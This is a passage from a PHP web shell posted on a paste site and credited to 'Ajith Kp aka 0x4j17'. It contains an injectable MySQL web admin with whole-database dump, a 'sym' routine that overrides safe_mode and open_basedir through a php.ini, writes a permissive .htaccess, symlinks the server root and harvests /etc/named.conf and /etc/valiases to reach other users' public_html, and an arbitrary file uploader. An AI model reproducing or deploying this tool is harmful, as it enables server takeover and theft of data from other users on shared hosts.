  746.     echo "</table>\n";
  747.  
  748.     echo "<font size=2>\n";
  749.     if($sql == "viewData")
  750.         echo "<form sql='$PHP_SELF?sql=viewData&dbname=$dbname&tablename=$tablename' method=post>\n";
  751.     else
  752.         echo "<form sql='$PHP_SELF?sql=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>\n";
  753.     echo "<font color=green>\n";
  754.     echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
  755.     echo "</font>\n";
  756.     echo " | ";
  757.     if( $page > 0 ) {
  758.         if($sql == "viewData")
  759.             echo "<a href='$PHP_SELF?sql=viewData&dbname=$dbname&tablename=$tablename&page=".($page);
  760.         else
  761.             echo "<a href='$PHP_SELF?sql=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
  762.         if( $orderby != "" && $sql == "viewData")
  763.             echo "&orderby=$orderby";
  764.         echo "'>Prev</a>\n";
  765.     } else
  766.         echo "Prev";
  767.     echo " | ";
  768.     if( $page < ($row/$rowperpage)-1 ) {
  769.         if($sql == "viewData")
  770.             echo "<a href='$PHP_SELF?sql=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2);
  771.         else
  772.             echo "<a href='$PHP_SELF?sql=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
  773.         if( $orderby != "" && $sql == "viewData")
  774.             echo "&orderby=$orderby";
  775.         echo "'>Next</a>\n";
  776.     } else
  777.         echo "Next";
  778.     echo " | ";
  779.     if( $row > $rowperpage ) {
  780.         echo "<input type=text size=4 name=page>\n";
  781.         echo "<input type=submit value='Go'>\n";
  782.     }
  783.     echo "</form>\n";
  784.     echo "</font>\n";
  785. }
  786.  
  787. function manageData( $cmd ) {
  788.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
  789.  
  790.     if( $cmd == "add" )
  791.         echo "<h2>Tambah Data</h2>\n";
  792.     else if( $cmd == "edit" ) {
  793.         echo "<h2>Edit Data</h2>\n";
  794.         $pResult = mysql_list_fields( $dbname, $tablename );
  795.         $num = mysql_num_fields( $pResult );
  796.    
  797.         $key = "";
  798.         for( $i = 0; $i < $num; $i++ ) {
  799.             $field = mysql_fetch_field( $pResult, $i );
  800.             if( $field->primary_key == 1 )
  801.                 if( $field->numeric == 1 )
  802.                     $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  803.                 else
  804.                     $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  805.         }
  806.         $key = substr( $key, 0, strlen($key)-4 );
  807.  
  808.         mysql_select_db( $dbname, $mysqlHandle );
  809.         $pResult = mysql_query( $queryStr =  "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
  810.         $data = mysql_fetch_array( $pResult );
  811.     }
  812.  
  813.     echo "<p class=location>$dbname > $tablename</p>\n";
  814.  
  815.     echo "<form sql='$PHP_SELF' method=post>\n";
  816.     if( $cmd == "add" )
  817.         echo "<input type=hidden name=sql value=addData_submit>\n";
  818.     else if( $cmd == "edit" )
  819.         echo "<input type=hidden name=sql value=editData_submit>\n";
  820.     echo "<input type=hidden name=dbname value=$dbname>\n";
  821.     echo "<input type=hidden name=tablename value=$tablename>\n";
  822.     echo "<table>\n";
  823.     echo "<tr>\n";
  824.     echo "<th>Name</th>\n";
  825.     echo "<th>Type</th>\n";
  826.     echo "<th>Function</th>\n";
  827.     echo "<th>Data</th>\n";
  828.     echo "</tr>\n";
  829.  
  830.     $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  831.     $num = mysql_num_rows( $pResult );
  832.  
  833.     $pResultLen = mysql_list_fields( $dbname, $tablename );
  834.  
  835.     for( $i = 0; $i < $num; $i++ ) {
  836.         $field = mysql_fetch_array( $pResult );
  837.         $fieldname = $field["Field"];
  838.         $fieldtype = $field["Type"];
  839.         $len = mysql_field_len( $pResultLen, $i );
  840.  
  841.         echo "<tr>";
  842.         echo "<td>$fieldname</td>";
  843.         echo "<td>".$field["Type"]."</td>";
  844.         echo "<td>\n";
  845.         echo "<select name=${fieldname}_function>\n";
  846.         echo "<option>\n";
  847.         echo "<option>ASCII\n";
  848.         echo "<option>CHAR\n";
  849.         echo "<option>SOUNDEX\n";
  850.         echo "<option>CURDATE\n";
  851.         echo "<option>CURTIME\n";
  852.         echo "<option>FROM_DAYS\n";
  853.         echo "<option>FROM_UNIXTIME\n";
  854.         echo "<option>NOW\n";
  855.         echo "<option>PASSWORD\n";
  856.         echo "<option>PERIOD_ADD\n";
  857.         echo "<option>PERIOD_DIFF\n";
  858.         echo "<option>TO_DAYS\n";
  859.         echo "<option>USER\n";
  860.         echo "<option>WEEKDAY\n";
  861.         echo "<option>RAND\n";
  862.         echo "</select>\n";
  863.         echo "</td>\n";
  864.         $value = htmlspecialchars($data[$i]);
  865.         if( $cmd == "add" ) {
  866.             $type = strtok( $fieldtype, " (,)\n" );
  867.             if( $type == "enum" || $type == "set" ) {
  868.                 echo "<td>\n";
  869.                 if( $type == "enum" )
  870.                     echo "<select name=$fieldname>\n";
  871.                 else if( $type == "set" )
  872.                     echo "<select name=$fieldname size=4 multiple>\n";
  873.                 while( $str = strtok( "'" ) ) {
  874.                     echo "<option>$str\n";
  875.                     strtok( "'" );
  876.                 }
  877.                 echo "</select>\n";
  878.                 echo "</td>\n";
  879.             } else {
  880.                 if( $len < 40 )
  881.                     echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
  882.                 else
  883.                     echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
  884.             }
  885.         } else if( $cmd == "edit" ) {
  886.             $type = strtok( $fieldtype, " (,)\n" );
  887.             if( $type == "enum" || $type == "set" ) {
  888.                 echo "<td>\n";
  889.                 if( $type == "enum" )
  890.                     echo "<select name=$fieldname>\n";
  891.                 else if( $type == "set" )
  892.                     echo "<select name=$fieldname size=4 multiple>\n";
  893.                 while( $str = strtok( "'" ) ) {
  894.                     if( $value == $str )
  895.                         echo "<option selected>$str\n";
  896.                     else
  897.                         echo "<option>$str\n";
  898.                     strtok( "'" );
  899.                 }
  900.                 echo "</select>\n";
  901.                 echo "</td>\n";
  902.             } else {
  903.                 if( $len < 40 )
  904.                     echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
  905.                 else
  906.                     echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
  907.             }
  908.         }
  909.         echo "</tr>";
  910.     }
  911.     echo "</table><p>\n";
  912.     if( $cmd == "add" )
  913.         echo "<input type=submit value='Tambah Data'>\n";
  914.     else if( $cmd == "edit" )
  915.         echo "<input type=submit value='Edit Data'>\n";
  916.     echo "<input type=button value='Cancel' onClick='history.back()'>\n";
  917.     echo "</form>\n";
  918. }
  919.  
  920. function manageData_submit( $cmd ) {
  921.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  922.  
  923.     $pResult = mysql_list_fields( $dbname, $tablename );
  924.     $num = mysql_num_fields( $pResult );
  925.  
  926.     mysql_select_db( $dbname, $mysqlHandle );
  927.     if( $cmd == "add" )
  928.         $queryStr = "INSERT INTO $tablename VALUES (";
  929.     else if( $cmd == "edit" )
  930.         $queryStr = "REPLACE INTO $tablename VALUES (";
  931.     for( $i = 0; $i < $num-1; $i++ ) {
  932.         $field = mysql_fetch_field( $pResult );
  933.         $func = $GLOBALS[$field->name."_function"];
  934.         if( $func != "" )
  935.             $queryStr .= " $func(";
  936.         if( $field->numeric == 1 ) {
  937.             $queryStr .= $GLOBALS[$field->name];
  938.             if( $func != "" )
  939.                 $queryStr .= "),";
  940.             else
  941.                 $queryStr .= ",";
  942.         } else {
  943.             $queryStr .= "'" . $GLOBALS[$field->name];
  944.             if( $func != "" )
  945.                 $queryStr .= "'),";
  946.             else
  947.                 $queryStr .= "',";
  948.         }
  949.     }
  950.     $field = mysql_fetch_field( $pResult );
  951.     if( $field->numeric == 1 )
  952.         $queryStr .= $GLOBALS[$field->name] . ")";
  953.     else
  954.         $queryStr .= "'" . $GLOBALS[$field->name] . "')";
  955.  
  956.     mysql_query( $queryStr , $mysqlHandle );
  957.     $errMsg = mysql_error();
  958.  
  959.     viewData( "" );
  960. }
  961.  
  962. function deleteData() {
  963.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  964.  
  965.     $pResult = mysql_list_fields( $dbname, $tablename );
  966.     $num = mysql_num_fields( $pResult );
  967.  
  968.     $key = "";
  969.     for( $i = 0; $i < $num; $i++ ) {
  970.         $field = mysql_fetch_field( $pResult, $i );
  971.         if( $field->primary_key == 1 )
  972.             if( $field->numeric == 1 )
  973.                 $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  974.             else
  975.                 $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  976.     }
  977.     $key = substr( $key, 0, strlen($key)-4 );
  978.  
  979.     mysql_select_db( $dbname, $mysqlHandle );
  980.     $queryStr =  "DELETE FROM $tablename WHERE $key";
  981.     mysql_query( $queryStr, $mysqlHandle );
  982.     $errMsg = mysql_error();
  983.  
  984.     viewData( "" );
  985. }
  986.  
  987. function fetch_table_dump_sql($table)
  988. {
  989.     global $mysqlHandle,$dbname;
  990.    
  991.     mysql_select_db( $dbname, $mysqlHandle );
  992.     $query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
  993.     $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
  994.     $tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n";
  995.  
  996.     echo $tabledump;
  997.  
  998.     // get data
  999.     $rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
  1000.     $numfields=mysql_num_fields($rows);
  1001.     while ($row = mysql_fetch_array($rows, MYSQL_NUM))
  1002.     {
  1003.         $tabledump = "INSERT INTO $table VALUES(";
  1004.  
  1005.         $fieldcounter = -1;
  1006.         $firstfield = 1;
  1007.         // get each field's data
  1008.         while (++$fieldcounter < $numfields)
  1009.         {
  1010.             if (!$firstfield)
  1011.             {
  1012.                 $tabledump .= ', ';
  1013.             }
  1014.             else
  1015.             {
  1016.                 $firstfield = 0;
  1017.             }
  1018.  
  1019.             if (!isset($row["$fieldcounter"]))
  1020.             {
  1021.                 $tabledump .= 'NULL';
  1022.             }
  1023.             else
  1024.             {
  1025.                 $tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
  1026.             }
  1027.         }
  1028.  
  1029.         $tabledump .= ");\n";
  1030.  
  1031.         echo $tabledump;
  1032.  
  1033.     }
  1034.     @mysql_free_result($rows);
  1035. }
  1036.  
  1037. function dump() {
  1038.     global $mysqlHandle, $sql, $dbname, $tablename;
  1039.  
  1040.     if( $sql == "dumpTable" ){
  1041.  
  1042.         header("Content-disposition: filename=$tablename.sql");
  1043.         header('Content-type: unknown/unknown');
  1044.         fetch_table_dump_sql($tablename);
  1045.         echo "\n\n\n";
  1046.         echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###";
  1047.         exit;      
  1048.                
  1049.     }else{
  1050.         header("Content-disposition: filename=$dbname.sql");
  1051.         header('Content-type: unknown/unknown');
  1052.        
  1053.         mysql_select_db( $dbname, $mysqlHandle );
  1054.         $query_id = mysql_query("SHOW tables",$mysqlHandle);
  1055.         while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
  1056.         {
  1057.                 fetch_table_dump_sql($row[0]);
  1058.                 echo "\n\n\n";
  1059.                 echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###";
  1060.                 echo "\n\n\n";
  1061.         }
  1062.         echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###";
  1063.         exit;      
  1064.  
  1065.     }
  1066.  
  1067. }
  1068.  
  1069. function utils() {
  1070.     global $PHP_SELF, $command;
  1071.     echo "<h2>Utilities</h2>\n";
  1072.     if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
  1073.         echo "<hr>\n";
  1074.         echo "Show\n";
  1075.         echo "<ul>\n";
  1076.         echo "<li><a href='$PHP_SELF?sql=utils&command=show_status'>Status</a>\n";
  1077.         echo "<li><a href='$PHP_SELF?sql=utils&command=show_variables'>Variables</a>\n";
  1078.         echo "<li><a href='$PHP_SELF?sql=utils&command=show_processlist'>Processlist</a>\n";
  1079.         echo "</ul>\n";
  1080.         echo "Flush\n";
  1081.         echo "<ul>\n";
  1082.         echo "<li><a href='$PHP_SELF?sql=utils&command=flush_hosts'>Hosts</a>\n";
  1083.         if( $command == "flush_hosts" ) {
  1084.             if( mysql_query( "Flush hosts" ) != false )
  1085.                 echo "<font size=2 color=red>- Success</font>";
  1086.             else
  1087.                 echo "<font size=2 color=red>- Fail</font>";
  1088.         }
  1089.         echo "<li><a href='$PHP_SELF?sql=utils&command=flush_logs'>Logs</a>\n";
  1090.         if( $command == "flush_logs" ) {
  1091.             if( mysql_query( "Flush logs" ) != false )
  1092.                 echo "<font size=2 color=red>- Success</font>";
  1093.             else
  1094.                 echo "<font size=2 color=red>- Fail</font>";
  1095.         }
  1096.         echo "<li><a href='$PHP_SELF?sql=utils&command=flush_privileges'>Privileges</a>\n";
  1097.         if( $command == "flush_privileges" ) {
  1098.             if( mysql_query( "Flush privileges" ) != false )
  1099.                 echo "<font size=2 color=red>- Success</font>";
  1100.             else
  1101.                 echo "<font size=2 color=red>- Fail</font>";
  1102.         }
  1103.         echo "<li><a href='$PHP_SELF?sql=utils&command=flush_tables'>Tables</a>\n";
  1104.         if( $command == "flush_tables" ) {
  1105.             if( mysql_query( "Flush tables" ) != false )
  1106.                 echo "<font size=2 color=red>- Success</font>";
  1107.             else
  1108.                 echo "<font size=2 color=red>- Fail</font>";
  1109.         }
  1110.         echo "<li><a href='$PHP_SELF?sql=utils&command=flush_status'>Status</a>\n";
  1111.         if( $command == "flush_status" ) {
  1112.             if( mysql_query( "Flush status" ) != false )
  1113.                 echo "<font size=2 color=red>- Success</font>";
  1114.             else
  1115.                 echo "<font size=2 color=red>- Fail</font>";
  1116.         }
  1117.         echo "</ul>\n";
  1118.     } else {
  1119.         $queryStr = ereg_replace( "_", " ", $command );
  1120.         $pResult = mysql_query( $queryStr );
  1121.         if( $pResult == false ) {
  1122.             echo "Fail";
  1123.             return;
  1124.         }
  1125.         $col = mysql_num_fields( $pResult );
  1126.  
  1127.         echo "<p class=location>$queryStr</p>\n";
  1128.         echo "<hr>\n";
  1129.  
  1130.         echo "<table border=0>\n";
  1131.         echo "<tr>\n";
  1132.         for( $i = 0; $i < $col; $i++ ) {
  1133.             $field = mysql_fetch_field( $pResult, $i );
  1134.             echo "<th>".$field->name."</th>\n";
  1135.         }
  1136.         echo "</tr>\n";
  1137.  
  1138.         while( 1 ) {
  1139.             $rowArray = mysql_fetch_row( $pResult );
  1140.             if( $rowArray == false ) break;
  1141.             echo "<tr>\n";
  1142.             for( $j = 0; $j < $col; $j++ )
  1143.                 echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
  1144.             echo "</tr>\n";
  1145.         }
  1146.         echo "</table>\n";
  1147.     }
  1148. }
  1149.  
  1150. function header_html() {
  1151.     global $PHP_SELF;
  1152.    
  1153. echo '
  1154. <html>
  1155. <head>
  1156. <title>Login To Database</title>
  1157. <style>p.location { color: black; }
  1158. table, th, td ( border:1px solid green; border-collapse:collapse; )
  1159. th:hover { border:1px solid red; }
  1160. hr { color:green; background-color:green; }</style>
  1161. </head>
  1162. <body>
  1163. ';
  1164. }
  1165.  
  1166. function footer_html() {
  1167.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
  1168.  
  1169.     echo "<hr>\n";
  1170.     echo "<font size=2 color=blue>[$USERNAME]</font> - \n";
  1171.  
  1172.     echo "<a href='$PHP_SELF?sql=listDBs'>Database List</a> | \n";
  1173.     if( $tablename != "" )
  1174.         echo "<a href='$PHP_SELF?sql=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
  1175.     echo "<a href='$PHP_SELF?sql=utils'>Utils</a> |\n";
  1176.     echo "<a href='$PHP_SELF?sql=logout'>Logout</a>\n";
  1177.     echo "</font>\n";
  1178.     echo "</body>\n";
  1179.     echo "</html>\n";
  1180. }
  1181.  
  1182.  
  1183.  
  1184.  
  1185. //------------- MAIN ------------- //
  1186. error_reporting(0);
  1187. ini_set ('display_errors', 0);
  1188. ini_set ('log_errors', 0);
  1189.  
  1190. if( $sql == "logon" || $sql == "" || $sql == "logout" )
  1191.     logon();
  1192. else if( $sql == "logon_submit" )
  1193.     logon_submit();
  1194. else if( $sql == "dumpTable" || $sql == "dumpDB" ) {
  1195.     while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1196.         if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1197.         if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1198.         if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1199.     }
  1200.     $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
  1201.     dump();
  1202. } else {
  1203.     while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1204.         if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1205.         if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1206.         if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1207.     }
  1208.     echo "<!--";
  1209.     $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
  1210.     echo "-->";
  1211.  
  1212.     if( $mysqlHandle == false ) {
  1213.         echo "<html>\n";
  1214.         echo "<head>\n";
  1215.         echo "<title>Login To Database</title>\n";
  1216.         echo "</head>\n";
  1217.         echo "<body>\n";
  1218.         echo "<table width=100% height=100%><tr><td><center>\n";
  1219.         echo "<h2>Incorrect Password/Username</h2>\n";
  1220.         echo "<a href='$PHP_SELF?sql=logon'>..Try Again..</a>\n";
  1221.         echo "</center></td></tr></table>\n";
  1222.         echo "</body>\n";
  1223.         echo "</html>\n";
  1224.     } else {
  1225.         header_html();
  1226.         if( $sql == "listDBs" )
  1227.             listDatabases();
  1228.         else if( $sql == "createDB" )
  1229.             createDatabase();
  1230.         else if( $sql == "dropDB" )
  1231.             dropDatabase();
  1232.         else if( $sql == "listTables" )
  1233.             listTables();
  1234.         else if( $sql == "createTable" )
  1235.             createTable();
  1236.         else if( $sql == "dropTable" )
  1237.             dropTable();
  1238.         else if( $sql == "viewSchema" )
  1239.             viewSchema();
  1240.         else if( $sql == "query" )
  1241.             viewData( $queryStr );
  1242.         else if( $sql == "addField" )
  1243.             manageField( "add" );
  1244.         else if( $sql == "addField_submit" )
  1245.             manageField_submit( "add" );
  1246.         else if( $sql == "editField" )
  1247.             manageField( "edit" );
  1248.         else if( $sql == "editField_submit" )
  1249.             manageField_submit( "edit" );
  1250.         else if( $sql == "dropField" )
  1251.             dropField();
  1252.         else if( $sql == "viewData" )
  1253.             viewData( "" );
  1254.         else if( $sql == "addData" )
  1255.             manageData( "add" );
  1256.         else if( $sql == "addData_submit" )
  1257.             manageData_submit( "add" );
  1258.         else if( $sql == "editData" )
  1259.             manageData( "edit" );
  1260.         else if( $sql == "editData_submit" )
  1261.             manageData_submit( "edit" );
  1262.         else if( $sql == "deleteData" )
  1263.             deleteData();
  1264.         else if( $sql == "utils" )
  1265.             utils();
  1266.  
  1267.         mysql_close( $mysqlHandle);
  1268.         footer_html();
  1269.     }
  1270. }
  1271. echo '</div>';
  1272. }
  1273.  
  1274.  
  1275. if(isset($_REQUEST['sym']))
  1276. {
  1277. @mkdir('AKP', 0777);
  1278. $pini2='disbale_functions=none';
  1279. $phpini2=@fopen('php.ini');
  1280. fwrite($phpini2, $pini2);
  1281. $pini='<?
  1282. echo ini_get("safe_mode");
  1283. echo ini_get("open_basedir");
  1284. include($_GET["file"]);
  1285. ini_restore("open_basedir");
  1286. echo ini_get("safe_mode");
  1287. echo ini_get("open_basedir");
  1288. include($_GET["ss"]);
  1289. ?>';
  1290. $phpini=@fopen('/AKP/php.ini','w') or die('<script>alert("r00t@AKP:~# Direcory is Not Writable!!!")</script>') ;
  1291. fwrite($phpini, $pini);
  1292. $hta="Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any";
  1293. $htaccess=@fopen('AKP/.htaccess', 'w');
  1294. fwrite($htaccess, $hta);
  1295. @symlink("/", "AKP/root");
  1296. $akps=@file("/etc/named.conf");
  1297. if(!$akps)
  1298. {
  1299.     die('<script>alert("r00t@AKP:~# /etc/named.conf Not Found!!!")</script>');
  1300. }
  1301. echo "<div class=container><br /><font size=4>[+] Total Domanis Found: </font><font color=red>".count($akps)."</font><br /><br /><table align=center border=1 width=59% cellpadding=5><tr><td>Domains</td><td>Users</td><td>Exploit</font></td></tr>";
  1302. foreach($akps as $akp)
  1303. {
  1304.     if(eregi("zone", $akp))
  1305.     {
  1306.         preg_match_all('#zone "(.*)" #', $akp, $akpzz);
  1307.         flush();
  1308.         if(strlen(trim($akpzz[1][0]))>2)
  1309.         {
  1310.             $user=posix_getpwuid(@fileowner("/etc/valiases/".$akpzz[1][0]));
  1311.             echo "<tr><td><a href=http://www.".$akpzz[1][0]." target=_blank>".$akpzz[1][0]."</a><td>".$user['name']."
  1312.            </td><td><a href=/AKP/root/home/".$user['name']."/public_html/ target=_blank>SymLink</a></td></tr>";
  1313.             flush();
  1314.            
  1315.         }
  1316.     }
  1317. }
  1318. echo '</table></div>';
  1319. }
  1320. if(isset($_REQUEST['upload']))
  1321. {
  1322. echo '<div class=container><p><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  1323. echo 'UpLoad FilE $ <input type="file" name="file" size="66">
  1324. <input name="_upl" type="submit" id="_upl" value=">>"></form></p>';
  1325. if ($_POST['_upl']==">>") {
  1326. if (@copy($_FILES['file']['tmp_name'], $_FILES['file'] ['name']))
  1327. {
  1328. echo '<SCRIPT>alert("[V] UpLOad Success")</script>';
  1329. }
  1330. else {
  1331. echo '<SCRIPT>alert("[X] UpLOad FaiLed!!!")</script>';
  1332. }
  1333. }
  1334. echo '</div>';
  1335. }
  1336. if(isset($_REQUEST['about']))
  1337. {
  1338. echo "<div class=container><p>Greets To<br />TOF members:~# Coded32, Null Void, Alex, Evis, Ankit, x-hund & All unknowns<br />Amsteck Arts&Science College:~# BCA-Dheeraj, Ashwin, Arjun, Vipin & Anuprasad<br />
  1339. BSc-Jhelai & Jitendra<br />--[[<font color=red>By Ajith Kp aka 0x4j17#</font>]]--</p></div>";
  1340. }
  1341. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement